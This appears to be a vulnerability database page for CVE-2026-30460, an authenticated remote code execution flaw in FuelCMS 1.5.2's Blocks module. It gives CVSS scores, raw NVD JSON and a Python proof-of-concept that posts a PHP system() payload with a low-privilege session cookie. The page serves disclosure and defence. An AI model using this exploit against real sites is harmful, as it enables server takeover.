Security Vulnerability Report
中文
CVE-2026-30460 CVSS 8.8 HIGH

CVE-2026-30460

Published: 2026-04-07 16:16:24
Last Modified: 2026-04-09 21:16:08

Description

Daylight Studio FuelCMS v1.5.2 was discovered to contain an authenticated remote code execution (RCE) vulnerability in the Blocks module.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:thedaylightstudio:fuel_cms:1.5.2:*:*:*:*:*:*:* - VULNERABLE
Daylight Studio FuelCMS 1.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: FuelCMS v1.5.2 - Blocks Module Authenticated RCE # Date: 2026-04-07 # Exploit Author: Analyst # Vendor Homepage: https://fuelcms.com/ # Software Link: https://github.com/daylightstudio/FUEL-CMS/ # Version: 1.5.2 target_url = "http://target-site/index.php/fuel/blocks/select" # Authentication cookie (low privilege user required) cookies = { "fuel_cid": "valid_low_priv_session_cookie" } # Malicious payload to execute system command (e.g., 'id') # The payload is injected into a parameter vulnerable to code execution payload = { "name": "test_block", "view": "<?php system('id'); ?>", "submitted": "Save" } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully!") # Check if command execution evidence exists in response if "uid=" in response.text: print("[+] Command execution successful!") print(response.text) else: print("[-] Target may be patched or payload failed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30460", "sourceIdentifier": "[email protected]", "published": "2026-04-07T16:16:23.593", "lastModified": "2026-04-09T21:16:07.977", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Daylight Studio FuelCMS v1.5.2 was discovered to contain an authenticated remote code execution (RCE) vulnerability in the Blocks module."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thedaylightstudio:fuel_cms:1.5.2:*:*:*:*:*:*:*", "matchCriteriaId": "E3A44312-83D2-4421-9A35-3FD048EA578A"}]}]}], "references": [{"url": "http://daylight.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "http://fuelcms.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/daylightstudio/FUEL-CMS/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://pentest-tools.com/PTT-2025-027-Improper-Authorization.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://pentest-tools.com/PTT-2025-027-Improper-Authorization.pdf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}